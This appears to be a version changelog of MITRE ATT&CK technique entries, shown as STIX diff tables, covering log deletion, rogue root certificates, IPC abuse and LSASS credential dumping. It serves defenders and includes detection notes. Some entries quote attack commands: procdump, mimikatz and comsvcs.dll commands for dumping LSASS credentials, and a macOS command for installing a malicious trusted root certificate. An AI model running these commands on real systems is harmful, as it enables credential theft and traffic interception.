| modified | 2020-09-23 11:31:50.636000+00:00 | 2021-10-20 19:01:56.752000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | PowerShell logs | File: File Creation |
| x_mitre_data_sources[2] | Authentication logs | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[4] | Process monitoring | File: File Metadata |
| x_mitre_data_sources[5] | File monitoring | User Account: User Account Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | User Account: User Account Metadata | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Script: Script Execution | |
| x_mitre_data_sources | Process: OS API Execution | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification | |
| x_mitre_data_sources | Firmware: Firmware Modification | |
| x_mitre_data_sources | Service: Service Creation | |
| x_mitre_platforms | Office 365 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-17 15:15:28.288000+00:00 | 2021-10-14 23:52:52.536000+00:00 |
| x_mitre_data_sources[0] | Environment variable | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Loaded DLLs | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Module: Module Load |
| x_mitre_data_sources[3] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[4] | File monitoring | Service: Service Metadata |
| x_mitre_data_sources[5] | DLL monitoring | File: File Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may delete or alter generated artifacts on a hos | t | 1 | Adversaries may delete or alter generated artifacts on a hos |
| > | t system, including logs or captured files such as quarantin | > | t system, including logs or captured files such as quarantin | ||
| > | ed malware. Locations and format of logs are platform or pro | > | ed malware. Locations and format of logs are platform or pro | ||
| > | duct-specific, however standard operating system logs are ca | > | duct-specific, however standard operating system logs are ca | ||
| > | ptured as Windows events or Linux/macOS files such as [Bash | > | ptured as Windows events or Linux/macOS files such as [Bash | ||
| > | History](https://attack.mitre.org/techniques/T1139) and /var | > | History](https://attack.mitre.org/techniques/T1552/003) and | ||
| > | /log/*. These actions may interfere with event collection, | > | /var/log/*. These actions may interfere with event collecti | ||
| > | reporting, or other notifications used to detect intrusion a | > | on, reporting, or other notifications used to detect intrusi | ||
| > | ctivity. This that may compromise the integrity of security | > | on activity. This may compromise the integrity of security s | ||
| > | solutions by causing notable events to go unreported. This a | > | olutions by causing notable events to go unreported. This ac | ||
| > | ctivity may also impede forensic analysis and incident respo | > | tivity may also impede forensic analysis and incident respon | ||
| > | nse, due to lack of sufficient data to determine what occurr | > | se, due to lack of sufficient data to determine what occurre | ||
| > | ed. | > | d. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 18:09:49.074000+00:00 | 2021-07-27 15:23:52.099000+00:00 |
| description | Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/*. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. | Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Deletion |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Modification |
| x_mitre_data_sources[3] | API monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[4] | Windows event logs | Windows Registry: Windows Registry Key Deletion |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Brad Geesaman, @bradgeesaman | |
| x_mitre_data_sources | Process: OS API Execution | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | User Account: User Account Authentication | |
| x_mitre_data_sources | File: File Metadata | |
| x_mitre_platforms | Containers |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may install a root certificate on a compromised | t | 1 | Adversaries may install a root certificate on a compromised |
| > | system to avoid warnings when connecting to adversary contro | > | system to avoid warnings when connecting to adversary contro | ||
| > | lled web servers. Root certificates are used in public key c | > | lled web servers. Root certificates are used in public key c | ||
| > | ryptography to identify a root certificate authority (CA). W | > | ryptography to identify a root certificate authority (CA). W | ||
| > | hen a root certificate is installed, the system or applicati | > | hen a root certificate is installed, the system or applicati | ||
| > | on will trust certificates in the root's chain of trust that | > | on will trust certificates in the root's chain of trust that | ||
| > | have been signed by the root certificate. (Citation: Wikipe | > | have been signed by the root certificate.(Citation: Wikiped | ||
| > | dia Root Certificate) Certificates are commonly used for est | > | ia Root Certificate) Certificates are commonly used for esta | ||
| > | ablishing secure TLS/SSL communications within a web browser | > | blishing secure TLS/SSL communications within a web browser. | ||
| > | . When a user attempts to browse a website that presents a c | > | When a user attempts to browse a website that presents a ce | ||
| > | ertificate that is not trusted an error message will be disp | > | rtificate that is not trusted an error message will be displ | ||
| > | layed to warn the user of the security risk. Depending on th | > | ayed to warn the user of the security risk. Depending on the | ||
| > | e security settings, the browser may not allow the user to e | > | security settings, the browser may not allow the user to es | ||
| > | stablish a connection to the website. Installation of a roo | > | tablish a connection to the website. Installation of a root | ||
| > | t certificate on a compromised system would give an adversar | > | certificate on a compromised system would give an adversary | ||
| > | y a way to degrade the security of that system. Adversaries | > | a way to degrade the security of that system. Adversaries h | ||
| > | have used this technique to avoid security warnings promptin | > | ave used this technique to avoid security warnings prompting | ||
| > | g users when compromised systems connect over HTTPS to adver | > | users when compromised systems connect over HTTPS to advers | ||
| > | sary controlled web servers that spoof legitimate websites i | > | ary controlled web servers that spoof legitimate websites in | ||
| > | n order to collect login credentials. (Citation: Operation E | > | order to collect login credentials.(Citation: Operation Emm | ||
| > | mmental) Atypical root certificates have also been pre-inst | > | ental) Atypical root certificates have also been pre-instal | ||
| > | alled on systems by the manufacturer or in the software supp | > | led on systems by the manufacturer or in the software supply | ||
| > | ly chain and were used in conjunction with malware/adware to | > | chain and were used in conjunction with malware/adware to p | ||
| > | provide a man-in-the-middle capability for intercepting inf | > | rovide [Adversary-in-the-Middle](https://attack.mitre.org/te | ||
| > | ormation transmitted over secure TLS/SSL communications. (Ci | > | chniques/T1557) capability for intercepting information tran | ||
| > | tation: Kaspersky Superfish) Root certificates (and their a | > | smitted over secure TLS/SSL communications.(Citation: Kasper | ||
| > | ssociated chains) can also be cloned and reinstalled. Cloned | > | sky Superfish) Root certificates (and their associated chai | ||
| > | certificate chains will carry many of the same metadata cha | > | ns) can also be cloned and reinstalled. Cloned certificate c | ||
| > | racteristics of the source and can be used to sign malicious | > | hains will carry many of the same metadata characteristics o | ||
| > | code that may then bypass signature validation tools (ex: S | > | f the source and can be used to sign malicious code that may | ||
| > | ysinternals, antivirus, etc.) used to block execution and/or | > | then bypass signature validation tools (ex: Sysinternals, a | ||
| > | uncover artifacts of Persistence. (Citation: SpectorOps Cod | > | ntivirus, etc.) used to block execution and/or uncover artif | ||
| > | e Signing Dec 2017) In macOS, the Ay MaMi malware uses <cod | > | acts of Persistence.(Citation: SpectorOps Code Signing Dec 2 | ||
| > | e>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Lib | > | 017) In macOS, the Ay MaMi malware uses <code>/usr/bin/secu | ||
| > | rary/Keychains/System.keychain /path/to/malicious/cert</code | > | rity add-trusted-cert -d -r trustRoot -k /Library/Keychains/ | ||
| > | > to install a malicious certificate as a trusted root certi | > | System.keychain /path/to/malicious/cert</code> to install a | ||
| > | ficate into the system keychain. (Citation: objective-see ay | > | malicious certificate as a trusted root certificate into the | ||
| > | mami 2018) | > | system keychain.(Citation: objective-see ay mami 2018) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 20:31:11.389000+00:00 | 2021-08-25 19:39:07.001000+00:00 |
| description | Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)
Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)
Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)
In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018) | Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)
Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)
Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)
In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018) |
| x_mitre_data_sources[0] | SSL/TLS inspection | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[1] | Digital certificate logs | Windows Registry: Windows Registry Key Modification |
| x_mitre_detection | A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)
Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)
* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25
* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85
* 3B1EFD3A66EA28B16697394703A72CA340A05BD5
* 7F88CD7223F3C813818C994614A89C99FA3B5247
* 8F43288AD272F3103B6FB1428485EA3014C0BCFE
* A43489159A520F0D93D032CCAF37E7FE20A8B419
* BE36A4562FB2EE05DBB3D32323ADF445084ED656
* CDD4EEAE6000AC7F40C3802C171E30148030C072 | A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)
Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)
* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25
* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85
* 3B1EFD3A66EA28B16697394703A72CA340A05BD5
* 7F88CD7223F3C813818C994614A89C99FA3B5247
* 8F43288AD272F3103B6FB1428485EA3014C0BCFE
* A43489159A520F0D93D032CCAF37E7FE20A8B419
* BE36A4562FB2EE05DBB3D32323ADF445084ED656
* CDD4EEAE6000AC7F40C3802C171E30148030C072 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse inter-process communication (IPC) mech | t | 1 | Adversaries may abuse inter-process communication (IPC) mech |
| > | anisms for local code or command execution. IPC is typically | > | anisms for local code or command execution. IPC is typically | ||
| > | used by processes to share data, communicate with each othe | > | used by processes to share data, communicate with each othe | ||
| > | r, or synchronize execution. IPC is also commonly used to av | > | r, or synchronize execution. IPC is also commonly used to av | ||
| > | oid situations such as deadlocks, which occurs when processe | > | oid situations such as deadlocks, which occurs when processe | ||
| > | s are stuck in a cyclic waiting pattern. Adversaries may a | > | s are stuck in a cyclic waiting pattern. Adversaries may a | ||
| > | buse IPC to execute arbitrary code or commands. IPC mechanis | > | buse IPC to execute arbitrary code or commands. IPC mechanis | ||
| > | ms may differ depending on OS, but typically exists in a for | > | ms may differ depending on OS, but typically exists in a for | ||
| > | m accessible through programming languages/libraries or nati | > | m accessible through programming languages/libraries or nati | ||
| > | ve interfaces such as Windows [Dynamic Data Exchange](https: | > | ve interfaces such as Windows [Dynamic Data Exchange](https: | ||
| > | //attack.mitre.org/techniques/T1559/002) or [Component Objec | > | //attack.mitre.org/techniques/T1559/002) or [Component Objec | ||
| > | t Model](https://attack.mitre.org/techniques/T1559/001). Hig | > | t Model](https://attack.mitre.org/techniques/T1559/001). Hig | ||
| > | her level execution mediums, such as those of [Command and S | > | her level execution mediums, such as those of [Command and S | ||
| > | cripting Interpreter](https://attack.mitre.org/techniques/T1 | > | cripting Interpreter](https://attack.mitre.org/techniques/T1 | ||
| > | 059)s, may also leverage underlying IPC mechanisms. | > | 059)s, may also leverage underlying IPC mechanisms. Adversar | ||
| > | ies may also use [Remote Services](https://attack.mitre.org/ | ||||
| > | techniques/T1021) such as [Distributed Component Object Mode | ||||
| > | l](https://attack.mitre.org/techniques/T1021/003) to facilit | ||||
| > | ate remote IPC execution.(Citation: Fireeye Hunting COM June | ||||
| > | 2019) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 19:34:47.546000+00:00 | 2021-10-15 19:48:30.432000+00:00 |
| description | Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. | Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019) |
| x_mitre_data_sources[0] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[1] | DLL monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | File monitoring | Script: Script Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'} | |
| x_mitre_platforms | macOS |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 18:26:41.796000+00:00 | 2021-04-14 14:32:14.273000+00:00 |
| x_mitre_data_sources[0] | SSL/TLS inspection | Application Log: Application Log Content |
| x_mitre_data_sources[1] | DNS records | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Anti-virus | Network Traffic: Network Traffic Content |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web proxy | |
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | Mail server | |
| x_mitre_data_sources | Office 365 trace logs |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to access credential material stored | t | 1 | Adversaries may attempt to access credential material stored |
| > | in the process memory of the Local Security Authority Subsy | > | in the process memory of the Local Security Authority Subsy | ||
| > | stem Service (LSASS). After a user logs on, the system gener | > | stem Service (LSASS). After a user logs on, the system gener | ||
| > | ates and stores a variety of credential materials in LSASS p | > | ates and stores a variety of credential materials in LSASS p | ||
| > | rocess memory. These credential materials can be harvested b | > | rocess memory. These credential materials can be harvested b | ||
| > | y an administrative user or SYSTEM and used to conduct [Late | > | y an administrative user or SYSTEM and used to conduct [Late | ||
| > | ral Movement](https://attack.mitre.org/tactics/TA0008) using | > | ral Movement](https://attack.mitre.org/tactics/TA0008) using | ||
| > | [Use Alternate Authentication Material](https://attack.mitr | > | [Use Alternate Authentication Material](https://attack.mitr | ||
| > | e.org/techniques/T1550). As well as in-memory techniques, t | > | e.org/techniques/T1550). As well as in-memory techniques, t | ||
| > | he LSASS process memory can be dumped from the target host a | > | he LSASS process memory can be dumped from the target host a | ||
| > | nd analyzed on a local system. For example, on the target h | > | nd analyzed on a local system. For example, on the target h | ||
| > | ost use procdump: * <code>procdump -ma lsass.exe lsass_dump | > | ost use procdump: * <code>procdump -ma lsass.exe lsass_dump | ||
| > | </code> Locally, mimikatz can be run using: * <code>sekurl | > | </code> Locally, mimikatz can be run using: * <code>sekurl | ||
| > | sa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPas | > | sa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPas | ||
| > | swords</code> Windows Security Support Provider (SSP) DLLs | > | swords</code> Built-in Windows tools such as comsvcs.dll ca | ||
| > | are loaded into LSSAS process at system start. Once loaded | > | n also be used: * <code>rundll32.exe C:\Windows\System32\co | ||
| > | into the LSA, SSP DLLs have access to encrypted and plaintex | > | msvcs.dll MiniDump PID lsass.dmp full</code>(Citation: Vole | ||
| > | t passwords that are stored in Windows, such as any logged-o | > | xity Exchange Marauder March 2021)(Citation: Symantec Attack | ||
| > | n user's Domain password or smart card PINs. The SSP configu | > | s Against Government Sector) Windows Security Support Prov | ||
| > | ration is stored in two Registry keys: <code>HKLM\SYSTEM\Cur | > | ider (SSP) DLLs are loaded into LSSAS process at system star | ||
| > | rentControlSet\Control\Lsa\Security Packages</code> and <cod | > | t. Once loaded into the LSA, SSP DLLs have access to encrypt | ||
| > | e>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Securit | > | ed and plaintext passwords that are stored in Windows, such | ||
| > | y Packages</code>. An adversary may modify these Registry ke | > | as any logged-on user's Domain password or smart card PINs. | ||
| > | ys to add new SSPs, which will be loaded the next time the s | > | The SSP configuration is stored in two Registry keys: <code> | ||
| > | ystem boots, or when the AddSecurityPackage Windows API func | > | HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages< | ||
| > | tion is called.(Citation: Graeber 2014) The following SSPs | > | /code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\O | ||
| > | can be used to access credentials: * Msv: Interactive logon | > | SConfig\Security Packages</code>. An adversary may modify th | ||
| > | s, batch logons, and service logons are done through the MSV | > | ese Registry keys to add new SSPs, which will be loaded the | ||
| > | authentication package. * Wdigest: The Digest Authenticatio | > | next time the system boots, or when the AddSecurityPackage W | ||
| > | n protocol is designed for use with Hypertext Transfer Proto | > | indows API function is called.(Citation: Graeber 2014) The | ||
| > | col (HTTP) and Simple Authentication Security Layer (SASL) e | > | following SSPs can be used to access credentials: * Msv: In | ||
| > | xchanges.(Citation: TechNet Blogs Credential Protection) * K | > | teractive logons, batch logons, and service logons are done | ||
| > | erberos: Preferred for mutual client-server domain authentic | > | through the MSV authentication package. * Wdigest: The Diges | ||
| > | ation in Windows 2000 and later. * CredSSP: Provides SSO an | > | t Authentication protocol is designed for use with Hypertext | ||
| > | d Network Level Authentication for Remote Desktop Services.( | > | Transfer Protocol (HTTP) and Simple Authentication Security | ||
| > | Citation: TechNet Blogs Credential Protection) | > | Layer (SASL) exchanges.(Citation: TechNet Blogs Credential | ||
| > | Protection) * Kerberos: Preferred for mutual client-server d | ||||
| > | omain authentication in Windows 2000 and later. * CredSSP: | ||||
| > | Provides SSO and Network Level Authentication for Remote Des | ||||
| > | ktop Services.(Citation: TechNet Blogs Credential Protection | ||||
| > | ) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-09 20:46:00.393000+00:00 | 2021-10-15 19:55:01.368000+00:00 |
| description | Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).
As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
For example, on the target host use procdump:
* procdump -ma lsass.exe lsass_dump
Locally, mimikatz can be run using:
* sekurlsa::Minidump lsassdump.dmp
* sekurlsa::logonPasswords
Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
The following SSPs can be used to access credentials:
* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)
| Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).
As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
For example, on the target host use procdump:
* procdump -ma lsass.exe lsass_dump
Locally, mimikatz can be run using:
* sekurlsa::Minidump lsassdump.dmp
* sekurlsa::logonPasswords
Built-in Windows tools such as comsvcs.dll can also be used:
* rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)
Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
The following SSPs can be used to access credentials:
* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)
|
| external_references[1]['source_name'] | Graeber 2014 | Volexity Exchange Marauder March 2021 |
| external_references[1]['description'] | Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. | Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021. |
| external_references[1]['url'] | http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html | https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/ |
| external_references[2]['source_name'] | TechNet Blogs Credential Protection | Symantec Attacks Against Government Sector |
| external_references[2]['description'] | Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018. | Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021. |
| external_references[2]['url'] | https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/ | https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf |
| external_references[3]['source_name'] | Medium Detecting Attempts to Steal Passwords from Memory | Graeber 2014 |
| external_references[3]['description'] | French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019. | Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. |
| external_references[3]['url'] | https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea | http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html |
| external_references[4]['source_name'] | Powersploit | TechNet Blogs Credential Protection |
| external_references[4]['description'] | PowerSploit. (n.d.). Retrieved December 4, 2014. | Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018. |
| external_references[4]['url'] | https://github.com/mattifestation/PowerSploit | https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/ |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | PowerShell logs | Process: Process Access |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
